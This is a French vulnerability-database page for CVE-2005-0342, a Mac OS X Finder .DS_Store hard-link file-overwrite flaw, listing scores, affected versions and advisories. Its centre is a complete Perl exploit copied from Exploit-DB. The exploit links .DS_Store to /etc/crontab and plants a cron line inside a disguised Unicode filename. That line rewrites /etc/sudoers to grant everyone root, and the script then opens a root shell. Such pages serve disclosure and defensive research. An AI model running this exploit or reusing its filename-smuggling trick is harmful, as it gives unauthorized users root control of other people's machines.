CVE-2005-0342 : Détail

CVE-2005-0342

0.21%V4
Local
2005-02-10
04h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 793

Date de publication : 2005-02-06 23h00 +00:00
Auteur : vade79
EDB Vérifié : Yes

#!/usr/bin/perl # # [OSX Finder] DS_Store arbitrary file overwrite exploit. (root version) # # vade79 -> v9@fakehalo.us (fakehalo/realhalo) # # this will create a directory called "xfinder" in your home directory, # once the root user has modified that directory using Finder in almost any # way(such as copying a file out of it, etc) it will write to the .DS_Store # file in that directory. the data written to the .DS_Store file will # consist of the filenames/subdirectories making up the directory and the # attributes of the directory. # # this exploit works by linking the .DS_Store file to /etc/crontab, and # creating a special unicode(utf8 encoded) file in the directory. the file # created in unicode is equal to(in ASCII): # '\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n' # # this file will display as a japanese-like series of characters and # is (part of) what is written to the .DS_Store file, which allows for # the privilege escalation. once this line has been written to # /etc/crontab(along with other .DS_Store data), crontab will overwrite # /etc/sudoers with "ALL ALL=(ALL) ALL" and you can then sudo to root. # # note: this is done through crontab->sudo because sudo will complain # of the .DS_Store garbage data in the /etc/sudoers file and exit, # whereas crontab will ignore it. # # (sorry for the squished/ugly script, just a precaution for # wordwrapping) use encoding utf8; sub pexit{print("[!] @_.\n");exit(1);} $testdir="$ENV{HOME}/xfinder"; print("[OSX Finder] DS_Store arbitrary file overwrite exploit.\n\n"); if(!-f"/etc/crontab"||!-f"/etc/sudoers"){ pexit("/etc/crontab and /etc/sudoers are required for this to work"); } mkdir($testdir)||pexit("Could make the directory \"$testdir\", " . "make sure it doesn't already exist"); chdir($testdir)||pexit("Could change the directory to \"$testdir\""); # = "\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n" open(TOUCH,">" . Encode::encode_utf8( "\x{0a0a}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{726f}\x{6f74}" . "\x{2065}\x{6368}\x{6f20}\x{2241}\x{4c4c}\x{2041}\x{4c4c}\x{3d28}" . "\x{414c}\x{4c29}\x{2041}\x{4c4c}\x{223e}\x{2f65}\x{7463}\x{2f73}" . "\x{7564}\x{6f65}\x{7273}\x{0a0a}"))||pexit("Could not create " . "unicode/utf8 encoded filename"); close(TOUCH); link("/etc/crontab",".DS_Store")||pexit("Could not link .DS_Store " . "to /etc/crontab"); print("[+] Waiting for root user to modify \"$testdir\" with " . "Finder...\n"); print("[?] (CTRL-C if desired, this script does not need to be " . "running to work)\n"); @ast=@st=stat("/etc/crontab"); while($st[7]==$ast[7]&&$st[9]==$ast[9]){ sleep(1); @ast=stat("/etc/crontab"); } print("[+] /etc/crontab has been modified.\n"); print("[+] Waiting for crontab to change /etc/sudoers...\n"); @ast=@st=stat("/etc/sudoers"); while($st[7]==$ast[7]&&$st[9]==$ast[9]){ sleep(1); @ast=stat("/etc/sudoers"); } print("[+] /etc/sudoers has been modified.\n"); print("[+] Attempting to \"sudo sh\". (use YOUR password)\n"); system("sudo sh"); exit(0); # milw0rm.com [2005-02-07]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x_server >> Version 10.0

Apple>>Mac_os_x_server >> Version 10.1

Apple>>Mac_os_x_server >> Version 10.1.1

Apple>>Mac_os_x_server >> Version 10.1.2

Apple>>Mac_os_x_server >> Version 10.1.3

Apple>>Mac_os_x_server >> Version 10.1.4

Apple>>Mac_os_x_server >> Version 10.1.5

Apple>>Mac_os_x_server >> Version 10.2

Apple>>Mac_os_x_server >> Version 10.2.1

Apple>>Mac_os_x_server >> Version 10.2.2

Apple>>Mac_os_x_server >> Version 10.2.3

Apple>>Mac_os_x_server >> Version 10.2.4

Apple>>Mac_os_x_server >> Version 10.2.5

Apple>>Mac_os_x_server >> Version 10.2.6

Apple>>Mac_os_x_server >> Version 10.2.7

Apple>>Mac_os_x_server >> Version 10.2.8

Apple>>Mac_os_x_server >> Version 10.3

Apple>>Mac_os_x_server >> Version 10.3.1

Apple>>Mac_os_x_server >> Version 10.3.2

Apple>>Mac_os_x_server >> Version 10.3.3

Apple>>Mac_os_x_server >> Version 10.3.4

Apple>>Mac_os_x_server >> Version 10.3.5

Apple>>Mac_os_x_server >> Version 10.3.6

Apple>>Mac_os_x_server >> Version 10.3.7

Références

http://secunia.com/advisories/14188
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/12458
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=110780124707975&w=2
Tags : mailing-list, x_refsource_BUGTRAQ